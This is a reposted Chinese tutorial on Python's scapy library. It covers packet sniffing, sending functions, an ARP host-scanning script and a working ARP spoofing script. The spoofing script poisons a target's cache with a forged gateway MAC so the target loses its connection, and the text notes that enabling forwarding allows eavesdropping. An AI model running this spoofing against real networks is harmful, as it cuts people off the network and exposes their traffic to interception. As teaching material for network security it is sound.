广告
返回顶部
首页 > 资讯 > 后端开发 > Python >python scapy的用法之ARP主
  • 646
分享到

python scapy的用法之ARP主

pythonscapyARP 2023-01-30 23:01:59 646人浏览 薄情痞子

Python 官方文档:入门教程 => 点击学习

摘要

python scapy的用法之ARP主机扫描和ARP欺骗  目录: 1.scapy介绍 2.安装scapy 3.scapy常用 4.ARP主机扫描 5.ARP欺骗 一、scapy介绍 scapy是一个可用于网络嗅探的非常强大的第三方库。

python scapy的用法之ARP主机扫描和ARP欺骗

 目录:

1.scapy介绍

2.安装scapy

3.scapy常用

4.ARP主机扫描

5.ARP欺骗

一、scapy介绍

scapy是一个可用于网络嗅探的非常强大的第三方库。

具有以下几个特点:

  1.交互模式,用作第三方库。

  2.可以用开做packet嗅探和伪造packet

  3.已经再内部实现了大量的网络协议。(DNS,ARP,IP,tcp,UDP等等),可以用它来编写非常灵活实用的工具

二、安装

pip intall scapy

pip install iPython(运行命令行方式需要)

注意:windows下安装scapy需要安装winpcap或者npcap(用于抓取网卡的数据),如果电脑安装果wireshark或者nmap就不用安装winpcap或者npcap。

winpcap官方下载地址:https://www.winpcap.org/install/default.htm

npcap官方下载地址:Https://nmap.org/npcap/

测试scapy是否安装好以及能否抓取网卡(不能抓取网卡的话,请检查winpcap或者npcap是否安装成功)  

三、scapy常用

1.嗅探流量包

sniff函数进行嗅探流量,iface表示使用的网卡接口,filter是过滤条件,count是嗅探包的个数。结果显示嗅探到了3个ARP包。可以输入pkts[i]查看包的具体内容。sniff别的参数可以查看帮助文档:help(sniff)  

2.将嗅探到的包内容写到pcap文件和读取pcap文件。

wrpcap写,rdpcap读  

3.收发数据包

3.1、send(),在第三层发送数据包,但没有接收功能。其他参数可以查看帮助:help(send)

 fuzz函数的作用:可以更改一些默认的不被计算的值(比如校验和checksums),更改的值是随机的,但是是符合字段的值的。 

3.2、sendp(),在第二层发送数据包,但没有接收功能。"(1,4)"小括号是范围代表1到4,第二个例子:发送4个包,ttl的值是1到4 

3.3、sr(),在第三层发送数据包,有接收功能

srp同时收到响应数据包和不响应数据包,需要用两个变量来接收。

ans中有请求有响应,unans只有请求没有响应

下图可以看到ans[0]查看的数据是以元组的形式,利用下图的示例可以对特定主机的特定端口进行tcp扫描。

3.4、sr1(),在第三层发送数据包,有接收功能,但只接收第一个数据包。用于哪些判断和目标是否通,接收一个数据包就能判断,没必要接收多个。

下图可以看到,发送20个包,收到3个包,但只变量m存储一个包。  

3.5、srloop(),在第三层连续发送数据包,有接收功能,且连续接收数据包。

3.6、srp()、srp1()、srploop()工作在第二层,具体用法可以查看帮助。

 四、ARP主机扫描

1.使用scapy写一个ARP主机扫描脚本  

#局域网主机扫描器  使用ARP扫描
#主机扫描
from scapy.all import *
import time
wifi="Intel(R) Dual Band Wireless-AC 3165"
#构造数据包   Ether()层可以省略构造内容,因为默认就是,当然可以写上,可以加快速度
p=Ether(dst="ff:ff:ff:ff:ff:ff",src="b8:81:98:e0:46:6a")/ARP(pdst="192.168.43.0/24")
#数据包发送,srp同时收到响应数据包和不响应数据包,需要用两个变量来接收。
#ans中有请求有响应,unans只有请求没有响应
ans,unans=srp(p,iface=wifi,timeout=2)
print("一共扫描到了%d个主机"%len(ans))
result=[]
#ans是元组的形式,可以测试ans[0],发现结果是元组的形式
for s,r in ans:
    result.append([r[ARP].psrc,r[ARP].hwsrc])   #把目标的IP以及Mac地址加入到新的列表

result.sort()   #对列表进行排序
#遍历列表,打印ip以及对应的mac地址
for ip,mac in result:
    print(ip,"--->",mac)

2.扫描结果如下: 

3.上面的脚本把要扫描的主机直接写死了,这里也可以使用sys模块接收命令行传递的参数。 

#局域网主机扫描器  使用ARP扫描
#主机扫描,主机不是写死的,接收命令行传递的参数。
from scapy.all import *
import time
wifi="Intel(R) Dual Band Wireless-AC 3165"
#构造数据包   Ether()层可以省略构造内容,因为默认就是,当然可以写上,可以加快速度
ip=sys.argv[1]
p=Ether(dst="ff:ff:ff:ff:ff:ff",src="b8:81:98:e0:46:6a")/ARP(pdst=ip)
#数据包发送,srp同时收到响应数据包和不响应数据包,需要用两个变量来接收。
#ans中有请求有响应,unans只有请求没有响应
ans,unans=srp(p,iface=wifi,timeout=2)
print("一共扫描到了%d个主机"%len(ans))
result=[]
#ans是元组的形式,可以测试ans[0],发现结果是元组的形式
for s,r in ans:
    result.append([r[ARP].psrc,r[ARP].hwsrc])   #把目标的IP以及MAC地址加入到新的列表

result.sort()   #对列表进行排序
#遍历列表,打印ip以及对应的mac地址
for ip,mac in result:
    print(ip,"--->",mac)

4.运行效果如下: 

五、ARP欺骗

ARP欺骗就是攻击者一直发包告诉被攻击者(目标)自己(攻击者)是网卡,欺骗目标的数据经过自己,以实现造成目标不能上网或者对目标数据进行监听的目的。

1.首先查看目标的ARP缓存,可以看到目标原来的网关IP以及对应的mac地址

  

 2.开始ARP欺骗  

#ARP欺骗
from scapy.all import *
import time
#构造包
#pdst是目标IP,psrc是网关的ip
p1=Ether(dst="ff:ff:ff:ff:ff:ff",src="b8:81:98:e0:46:6a")/ARP(pdst="192.168.43.250",psrc="192.168.43.1")
for i in range(6000):
    sendp(p1)
    time.sleep(0.1)

3.运行脚本,可以看到脚本一直发包,这时再看目标的arp缓存,可以看到网关的mac地址变成攻击者的mac了(说明目标把攻击者当成了网关,ARP欺骗成功)

  

4.ARP欺骗之后,由于攻击者不是真正的网关,无法转发数据(默认情况下),导致目标不能上网,这就实现了目标的断网攻击了。

5.那么能不能让目标能上网,只对目标进行流量的嗅探呢,答案是有的,需要开启攻击者的路由转发功能,把目标的数据转发出去。 

6.查看是否开启IP路由转发功能  

 

--结束END--

本文标题: python scapy的用法之ARP主

本文链接: https://www.lsjlt.com/news/181369.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
  • python scapy的用法之ARP主
    python scapy的用法之ARP主机扫描和ARP欺骗  目录: 1.scapy介绍 2.安装scapy 3.scapy常用 4.ARP主机扫描 5.ARP欺骗 一、scapy介绍 scapy是一个可用于网络嗅探的非常强大的第三方库。...
    99+
    2023-01-30
    python scapy ARP
  • Python渗透测试入门之Scapy库的使用详解
    目录窃取邮箱身份凭证ARP投毒攻击pcap文件处理Scapy 是一个用来解析底层网络数据包的Python模块和交互式程序,该程序对底层包处理进行了抽象打包,使得对网络数据包的处理非常...
    99+
    2023-03-13
    Python 渗透测试Scapy库 Python Scapy库 Python Scapy Python渗透测试
  • Python渗透测试入门之Scapy库如何使用
    Scapy 是一个用来解析底层网络数据包的Python模块和交互式程序,该程序对底层包处理进行了抽象打包,使得对网络数据包的处理非常简便。该类库可以在在网络安全领域有非常广泛用例,可用于漏洞利用开发、数据泄露、网络监听、入侵检测和流量的分析...
    99+
    2023-05-14
    Python scapy
  • Linux基础命令arp的用法
    这篇文章主要讲解了“Linux基础命令arp的用法”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“Linux基础命令arp的用法”吧!arparp指令用来管理系统的arp缓冲区,可以显示、删除...
    99+
    2023-06-05
  • 如何使用Python中的发包收包利器Scapy
    这篇文章将为大家详细讲解有关如何使用Python中的发包收包利器Scapy,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。今天跟大家讲的是Python 用于发送接受网络数据包的模块------...
    99+
    2023-06-15
  • ARP攻击的解决方法常用解决办法
    一般要提前做好防制工作,同时需要在客户端和路由器上做双向的绑定工作,这样的话无论ARP病毒是伪造本机的IP/MAC或者网关的地址都不会出现上网掉线或者大面积断线MAC绑定。但是此动作,如果重启了电脑,作用就会消失,所以可...
    99+
    2023-05-23
    解决 解决办法 ARP 方法
  • Python基础学习之Python主要的
    Python主要是依靠众多的第三方库来增强它的数据处理能力的。常用的是Numpy库,Scipy库、Matplotlib库、Pandas库、Scikit-Learn库等。 常规版本的python需要在安装完成后另外下载相应的第三方库来安装库...
    99+
    2023-01-31
    基础 Python
  • python 异常之 try 的用法
     语法解释: try:      表达式 1(如果表达式,可以成功执行,则执行,跳到 finally 语句) except ExpectErrorType, Argument:   (表达式1 没有做成功,且正好是 Exp...
    99+
    2023-01-31
    异常 python
  • python之print(f“ “)用法
    python之print(f" ")用法 Python输出函数print加上 f 的作用:即print(f" “) 主要作用就是格式化字符串,加f后可以在字符串里面使用用花括号括起来的变量和表达式,使...
    99+
    2023-10-20
    python 开发语言
  • Python基础之注释的用法
    前言 Python代码的基本规范如下: 1、Python 文件将以 .py 为扩展名。 2、在Python中严格区分大小写(大小写敏感),如果写错了大小写,程序会报错。 3、Pyth...
    99+
    2022-11-12
  • python之np.sum()用法详解
        python库numpy提供的求和方法np.sum(),可以对数组和矩阵进行求和。sum方法可以接收多个参数,主要是数组a,坐标轴axis,数据类型dtype,初始值initial。其中,axis对于我们来说比较容易迷糊,这个值对求...
    99+
    2023-09-16
    python numpy sum axis dtype
  • python之pexpect用法及scp
     import pexpect def scp_cmd():     passwd='*******'     passwd1='*******'     ssh = pexpect.spawn('scp -rp root@192.168....
    99+
    2023-01-31
    python pexpect scp
  • Java之——调用python方法
    转载请注明出处:http://blog.csdn.net/l1028386804/article/details/50915556 今天,给大家介绍下如何在java中调用python方法。下面我们进入正题 1.在java类中直接执行pyt...
    99+
    2023-01-31
    方法 Java python
  • Python之字典常用的方法一
    字典是Python提供的一种常用的数据结构,它用于存放具有映射关系的数据。是一种可变容器模型,且可存储任意类型对象。字典是一个无序、可变和有索引的集合。在 Python 中,字典用花括号编写{},拥有键值对即key和value组成,字典的每...
    99+
    2023-05-14
    数据 Python 字典
  • python解析之namedtuple函数的用法
    本篇文章给大家带来了关于Python的相关知识,主要介绍了python中namedtuple函数的用法解析,文章围绕主题展开详细的内容介绍,具有一定的参考价值,感兴趣的小伙伴可以参考一下。【相关推荐:Python3视频教程 】源码解释:de...
    99+
    2022-09-01
  • python 之 os 模块的常见用法
    在Python的标准库os模块中包含普遍的操作系统功能os 模块引入的方法是: import os以下为 os 模块常见的使用方法:    1、os.getcwd 获取当前的工作目录,即程序执行的目录    2、os.name 字符串指示正...
    99+
    2023-01-31
    模块 常见 python
  • python之 列表常用方法
    更多列表的使用方法和API,请参考Python文档:http://docs.python.org/2/library/functions.html append:用于在列表末尾追加新对象: ...
    99+
    2022-10-18
  • Python Numpy之linspace用法说明
    linspace生成有序列表,重点在数据范围与数据个数上 linspace(0,1,11),即从0到1闭区间,划分为11个数据点 >>> import...
    99+
    2022-11-12
  • Python之re库用法细讲
    文章目录 前言一、使用 re 模块的前期准备工作二、使用 re 模块匹配字符串1. 使用 match() 方法进行匹配2. 使用 search() 方法进行匹配3. 使用 findall() ...
    99+
    2023-09-05
    python 正则表达式 re
  • python 魔法方法之 __ slots __的实现
    目录__ slots __注意事项__ slots __ __slots__是python class的一个特殊attribute,能够节省内存空间。正常情况下,一个类的属性是以字典...
    99+
    2023-03-01
    python __slots__
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作